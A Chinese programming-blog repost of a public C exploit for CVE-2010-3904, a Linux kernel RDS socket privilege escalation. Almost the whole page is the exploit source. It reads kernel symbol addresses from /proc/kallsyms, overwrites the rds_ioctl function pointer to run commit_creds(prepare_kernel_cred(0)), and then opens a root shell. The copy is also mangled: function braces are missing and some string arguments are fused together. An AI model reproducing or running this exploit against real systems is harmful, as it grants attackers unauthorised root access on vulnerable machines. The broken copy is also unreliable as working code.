且构网

分享程序员开发的那些事...
且构网 - 分享程序员编程开发的那些事

Linux RDS Protocol Local Privilege Escalation

更新时间:2022-09-18 11:58:58

 http://www.vsecurity.com/download/tools/linux-rds-exploit.c

 


  1. /* 
  2.  * Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit 
  3.  * CVE-2010-3904 
  4.  * by Dan Rosenberg <drosenberg@vsecurity.com> 
  5.  * 
  6.  * Copyright 2010 Virtual Security Research, LLC 
  7.  * 
  8.  * The handling functions for sending and receiving RDS messages 
  9.  * use unchecked __copy_*_user_inatomic functions without any 
  10.  * access checks on user-provided pointers.  As a result, by 
  11.  * passing a kernel address as an iovec base address in recvmsg-style 
  12.  * calls, a local user can overwrite arbitrary kernel memory, which 
  13.  * can easily be used to escalate privileges to root.  Alternatively, 
  14.  * an arbitrary kernel read can be performed via sendmsg calls. 
  15.  * 
  16.  * This exploit is simple - it resolves a few kernel symbols, 
  17.  * and overwrites a function pointer (rds_ioctl) to point 
  18.  * to the payload.  After triggering the payload, the original 
  19.  * value is restored.  Hard-coding the offset of this function 
  20.  * pointer is a bit inelegant, but I wanted to keep it simple and 
  21.  * architecture-independent (i.e. no inline assembly). 
  22.  * 
  23.  * The vulnerability is yet another example of why you shouldn't 
  24.  * allow loading of random packet families unless you actually 
  25.  * need them. 
  26.  * 
  27.  * Greets to spender, kees, taviso, hawkes, team lollerskaters, 
  28.  * joberheide, bla, sts, and VSR 
  29.  * 
  30.  */ 
  31.   
  32. #include <stdio.h> 
  33. #include <unistd.h> 
  34. #include <stdlib.h> 
  35. #include <fcntl.h> 
  36. #include <sys/types.h> 
  37. #include <sys/socket.h> 
  38. #include <netinet/in.h> 
  39. #include <errno.h> 
  40. #include <string.h> 
  41. #include <sys/utsname.h> 
  42.   
  43. #define RECVPORT 5555 
  44. #define SENDPORT 6666 
  45.   
  46. int prep_sock(int port) 
  47.   
  48.     int s, ret; 
  49.     struct sockaddr_in addr; 
  50.   
  51.     s = socket(PF_RDS, SOCK_SEQPACKET, 0); 
  52.   
  53.     if(s < 0) { 
  54.         printf("[*] Could not open socket.\n"); 
  55.         exit(-1); 
  56.     } 
  57.   
  58.     memset(&addr, 0, sizeof(addr)); 
  59.   
  60.     addr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  61.     addr.sin_family = AF_INET; 
  62.     addr.sin_port = htons(port); 
  63.   
  64.     ret = bind(s, (struct sockaddr *)&addr, sizeof(addr)); 
  65.   
  66.     if(ret < 0) { 
  67.         printf("[*] Could not bind socket.\n"); 
  68.         exit(-1); 
  69.     } 
  70.   
  71.     return s; 
  72.   
  73.   
  74. void get_message(unsigned long address, int sock) 
  75.   
  76.     recvfrom(sock, (void *)address, sizeof(void *), 0, 
  77.          NULL, NULL); 
  78.   
  79.   
  80. void send_message(unsigned long value, int sock) 
  81.   
  82.     int size, ret; 
  83.     struct sockaddr_in recvaddr; 
  84.     struct msghdr msg; 
  85.     struct iovec iov; 
  86.     unsigned long buf; 
  87.   
  88.     memset(&recvaddr, 0, sizeof(recvaddr)); 
  89.   
  90.     size = sizeof(recvaddr); 
  91.   
  92.     recvaddr.sin_port = htons(RECVPORT); 
  93.     recvaddr.sin_family = AF_INET; 
  94.     recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 
  95.   
  96.     memset(&msg, 0, sizeof(msg)); 
  97.   
  98.     msg.msg_name = &recvaddr; 
  99.     msg.msg_namelen = sizeof(recvaddr); 
  100.     msg.msg_iovlen = 1; 
  101.   
  102.     buf = value; 
  103.   
  104.     iov.iov_len = sizeof(buf); 
  105.     iov.iov_base = &buf; 
  106.   
  107.     msg.msg_iov = &iov; 
  108.   
  109.     ret = sendmsg(sock, &msg, 0); 
  110.     if(ret < 0) { 
  111.         printf("[*] Something went wrong sending.\n"); 
  112.         exit(-1); 
  113.     } 
  114.   
  115. void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) 
  116.   
  117.     if(!fork()) { 
  118.             sleep(1); 
  119.             send_message(value, sendsock); 
  120.             exit(1); 
  121.     } 
  122.     else { 
  123.         get_message(addr, recvsock); 
  124.         wait(NULL); 
  125.     } 
  126.   
  127.   
  128. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 
  129. typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 
  130. _commit_creds commit_creds; 
  131. _prepare_kernel_cred prepare_kernel_cred; 
  132.   
  133. int __attribute__((regparm(3))) 
  134. getroot(void * file, void * vma) 
  135.   
  136.     commit_creds(prepare_kernel_cred(0)); 
  137.     return -1;  
  138.   
  139.   
  140. /* thanks spender... */ 
  141. unsigned long get_kernel_sym(char *name) 
  142.     FILE *f; 
  143.     unsigned long addr; 
  144.     char dummy; 
  145.     char sname[512]; 
  146.     struct utsname ver; 
  147.     int ret; 
  148.     int rep = 0; 
  149.     int oldstyle = 0; 
  150.   
  151.     f = fopen("/proc/kallsyms""r"); 
  152.     if (f == NULL) { 
  153.         f = fopen("/proc/ksyms""r"); 
  154.         if (f == NULL) 
  155.             goto fallback; 
  156.         oldstyle = 1; 
  157.     } 
  158.   
  159. repeat: 
  160.     ret = 0; 
  161.     while(ret != EOF) { 
  162.         if (!oldstyle) 
  163.             ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); 
  164.         else { 
  165.             ret = fscanf(f, "%p %s\n", (void **)&addr, sname); 
  166.             if (ret == 2) { 
  167.                 char *p; 
  168.                 if (strstr(sname, "_O/") || strstr(sname, "_S.")) 
  169.                     continue
  170.                 p = strrchr(sname, '_'); 
  171.                 if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { 
  172.                     p = p - 4; 
  173.                     while (p > (char *)sname && *(p - 1) == '_'
  174.                         p--; 
  175.                     *p = '\0'
  176.                 } 
  177.             } 
  178.         } 
  179.         if (ret == 0) { 
  180.             fscanf(f, "%s\n", sname); 
  181.             continue
  182.         } 
  183.         if (!strcmp(name, sname)) { 
  184.             fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); 
  185.             fclose(f); 
  186.             return addr; 
  187.         } 
  188.     } 
  189.   
  190.     fclose(f); 
  191.     if (rep) 
  192.         return 0; 
  193. fallback: 
  194.     /* didn't find the symbol, let's retry with the System.map 
  195.        dedicated to the pointlessness of Russell Coker's SELinux 
  196.        test machine (why does he keep upgrading the kernel if 
  197.        "all necessary security can be provided by SE Linux"?) 
  198.     */ 
  199.     uname(&ver); 
  200.     if (strncmp(ver.release, "2.6", 3)) 
  201.         oldstyle = 1; 
  202.     sprintf(sname, "/boot/System.map-%s", ver.release); 
  203.     f = fopen(sname, "r"); 
  204.     if (f == NULL) 
  205.         return 0; 
  206.     rep = 1; 
  207.     goto repeat; 
  208.   
  209. int main(int argc, char * argv[]) 
  210.     unsigned long sock_ops, rds_ioctl, target; 
  211.     int sendsock, recvsock; 
  212.     struct utsname ver; 
  213.   
  214.     printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n"); 
  215.     printf("[*] by Dan Rosenberg\n"); 
  216.   
  217.     uname(&ver); 
  218.   
  219.     if(strncmp(ver.release, "2.6.3", 5)) { 
  220.         printf("[*] Your kernel is not vulnerable.\n"); 
  221.         return -1; 
  222.     }   
  223.   
  224.     sendsock = prep_sock(SENDPORT); 
  225.     recvsock = prep_sock(RECVPORT); 
  226.   
  227.     /* Resolve addresses of relevant symbols */ 
  228.     printf("[*] Resolving kernel addresses...\n"); 
  229.     sock_ops = get_kernel_sym("rds_proto_ops"); 
  230.     rds_ioctl = get_kernel_sym("rds_ioctl"); 
  231.     commit_creds = (_commit_creds) get_kernel_sym("commit_creds"); 
  232.     prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred"); 
  233.   
  234.     if(!sock_ops || !rds_ioctl || !commit_creds || !prepare_kernel_cred) { 
  235.         printf("[*] Failed to resolve kernel symbols.\n"); 
  236.         return -1; 
  237.     } 
  238.   
  239.     /* Calculate target */ 
  240.     target = sock_ops + 9 * sizeof(void *); 
  241.   
  242.     /* Overwrite rds_ioctl function pointer */ 
  243.     printf("[*] Overwriting function pointer...\n"); 
  244.     write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock); 
  245.   
  246.     /* Trigger the payload */ 
  247.     printf("[*] Triggering payload...\n"); 
  248.     ioctl(sendsock, 0, NULL); 
  249.   
  250.     /* Restore the rds_ioctl function pointer */ 
  251.     printf("[*] Restoring function pointer...\n"); 
  252.     write_to_mem(target, rds_ioctl, sendsock, recvsock); 
  253.   
  254.     if(getuid()) { 
  255.         printf("[*] Exploit failed to get root.\n"); 
  256.         return -1; 
  257.     } 
  258.   
  259.     printf("[*] Got root!\n"); 
  260.     execl("/bin/sh""sh", NULL); 
  261.   

 








本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/538385,如需转载请自行联系原作者